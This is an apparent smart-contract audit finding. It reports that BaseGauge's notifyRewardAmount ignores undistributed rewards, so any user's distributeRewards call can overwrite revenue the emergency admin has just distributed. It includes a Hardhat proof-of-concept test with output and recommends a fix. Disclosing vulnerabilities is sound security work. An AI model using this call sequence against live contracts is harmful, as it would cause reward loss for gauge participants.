Summary
The GaugeController
contract has a critical vulnerability in its reward distribution logic, specifically in the distributeRewards
and distributeRevenue
functions. Both functions calculate rewards and call IGauge(gauge).notifyRewardAmount(gaugeShare)
to distribute rewards to gauges. However, the notifyRewardAmount
function in the BaseGauge
contract does not account for undistributed rewards when calculating the new rewardRate
. This flaw allows a malicious user to immediately call distributeRewards
after an emergency admin calls distributeRevenue
, causing the rewards from distributeRevenue
to be lost or overwritten.
Vulnerability Details
The distributeRevenue
function distributes revenue to gauges and can only be called by the emergency admin. It calls notifyRewardAmount
.
function distributeRevenue(
GaugeType gaugeType,
uint256 amount
) external onlyRole(EMERGENCY_ADMIN) whenNotPaused {
if (amount == 0) revert InvalidAmount();
uint256 veRAACShare = amount * 80 / 100;
uint256 performanceShare = amount * 20 / 100;
revenueShares[gaugeType] += veRAACShare;
_distributeToGauges(gaugeType, veRAACShare);
emit RevenueDistributed(gaugeType, amount, veRAACShare, performanceShare);
}
function _distributeToGauges(
GaugeType gaugeType,
uint256 amount
) internal {
...
...
for (uint256 i = 0; i < _gaugeList.length; i++) {
address gauge = _gaugeList[i];
if (gauges[gauge].isActive && gauges[gauge].gaugeType == gaugeType) {
uint256 gaugeShare = (amount * gaugeWeights[i]) / totalTypeWeight;
if (gaugeShare > 0) {
IGauge(gauge).notifyRewardAmount(gaugeShare);
}
}
}
}
The distributeRewards
function calculates rewards for a gauge and also calls notifyRewardAmount
to distribute them. It can be called by any user:
function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}
The notifyRewardAmount
function recalculates the rewardRate
based on the amount
passed to it, without considering undistributed rewards.
function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
* @notice Notifies about new reward amount
* @param state Period state to update
* @param amount Reward amount
* @param maxEmission Maximum emission allowed
* @param periodDuration Duration of the period
* @return newRewardRate Calculated reward rate
*/
function notifyReward(
PeriodState storage state,
uint256 amount,
uint256 maxEmission,
uint256 periodDuration
) internal view returns (uint256) {
if (amount > maxEmission) revert RewardCapExceeded();
if (amount + state.distributed > state.emission) {
revert RewardCapExceeded();
}
uint256 rewardRate = amount / periodDuration;
if (rewardRate == 0) revert ZeroRewardRate();
return rewardRate;
}
The core issue lies in the notifyRewardAmount
function in the BaseGauge
contract. When this function is called, it recalculates the rewardRate
based solely on the amount
passed to it, without considering any undistributed rewards from previous calls. This leads to the following problems:
Reward Overwriting: If distributeRevenue
is called by the emergency admin, followed immediately by distributeRewards
by a malicious user, the rewards from distributeRevenue
are overwritten or lost.
Incorrect Reward Distribution: The rewardRate
is recalculated without accounting for undistributed rewards, leading to incorrect reward distribution over time.
POC
add the following test case to GaugeController.test.js
it("rewards should not be overwritten", async () => {
let gauge = await rwaGauge.getAddress();
await rewardToken.mint(gauge, ethers.parseEther("1000000"));
await veRAACToken.mint(user1.address, ethers.parseEther("1000000"));
await gaugeController.connect(user1).vote(gauge, 5000);
console.log("emergencyAdmin calls distributeRevenue=====>");
await gaugeController.connect(emergencyAdmin).distributeRevenue(0, ethers.parseEther("900000"));
let rwaRewardRate = await rwaGauge.rewardRate();
console.log("the RewardRate of rwaGauge is:",rwaRewardRate);
console.log("attacker calls distributeRewards======>");
await gaugeController.connect(user2).distributeRewards(gauge);
let rwaRewardRate2 = await rwaGauge.rewardRate();
console.log("the RewardRate of rwaGauge is reset to:",rwaRewardRate2);
});
run npx hardhat test --grep "rewards should not be overwritten"
GaugeController
Integration Tests
emergencyAdmin calls distributeRevenue=====>
the RewardRate of rwaGauge is: 277777777777777777n
attacker calls distributeRewards======>
the RewardRate of rwaGauge is reset to: 192901234567901234n
✔ rewards should not be overwritten (4036ms)
We can see that the rewardRate
is overwritten to 192901234567901234, since 192901234567901234 < 277777777777777777, the rewardRate is much smaller than expected, the rewards from distributeRevenue
are lost.
Impact
The impact is High because the rewards from distributeRevenue
are lost or overwritten, the likelihood is High because the distributeRewards
function can be called by any user. So the severity is High.
Tools Used
Manual Review
Recommendations
To fix this vulnerability, the notifyRewardAmount
function must be modified to account for undistributed rewards.